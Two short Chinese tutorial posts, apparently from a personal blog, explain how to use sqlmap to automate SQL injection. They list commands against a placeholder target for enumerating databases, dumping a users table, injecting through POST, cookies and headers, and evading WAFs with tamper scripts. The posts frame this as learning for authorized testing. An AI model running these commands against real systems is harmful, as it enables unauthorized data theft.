sqlmap使用与SQL注入自动化实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

sqlmap 只在授权测试环境使用。

一、sqlmap 工作流程

1

① 发现注入点 → ② 自动检测 → ③ 获取数据库 → ④ 读取表/列 → ⑤ Dump 数据

二、常用命令

1
2
3
4
5
6
7
8


# 基础扫描
sqlmap -u "http://target/?id=1" --batch

# 获取数据库
sqlmap -u "http://target/?id=1" --dbs

# Dump 数据
sqlmap -u "http://target/?id=1" -D db -T table --dump

三、小结

sqlmap 是 SQL 注入自动化的核心工具。--batch 实现全自动扫描，配合 tamper 脚本绕过 WAF。

Sqlmap自动化SQL注入工具

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

sqlmap 只在授权测试环境使用。对非授权目标进行 SQL 注入扫描可能触犯法律。

一、sqlmap 工作流程

1

① 发现注入点 → ② 确定数据库 → ③ 枚举数据库 → ④ 读取表结构 → ⑤ Dump 数据

二、常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 自动检测注入（非交互）
sqlmap -u "http://target/page?id=1" --batch

# 从请求文件注入
sqlmap -r request.txt --batch

# 获取所有数据库
sqlmap -u "http://target/page?id=1" --dbs

# 获取表/列/数据
sqlmap -u "..." -D dbname --tables
sqlmap -u "..." -D dbname -T users --columns
sqlmap -u "..." -D dbname -T users --dump

1
2
3
4
5
6
7
8


# POST 数据注入
sqlmap -u "http://target/page" --data="id=1&name=test" --batch

# Cookie 注入
sqlmap -u "http://target/page" --cookie="id=1" --level=2

# Header 注入
sqlmap -u "http://target/page" --level=5

四、WAF 绕过

1
2
3
4
5


# 使用 tamper 脚本
sqlmap -u "..." --tamper=space2comment.py --batch

# 时间盲注延迟调整
sqlmap -u "..." --time-sec=5 --batch

五、小结

sqlmap 是 SQL 注入自动化的核心工具。--batch 实现全自动扫描，--level 控制注入检测深度，--tamper 应对 WAF 防护。

自动化 on SoulJian小站

sqlmap使用与SQL注入自动化实战

写在前面：合法学习边界

一、sqlmap 工作流程

二、常用命令

三、小结

Sqlmap自动化SQL注入工具

写在前面：合法学习边界

一、sqlmap 工作流程

二、常用命令

三、POST / Cookie 注入

四、WAF 绕过

五、小结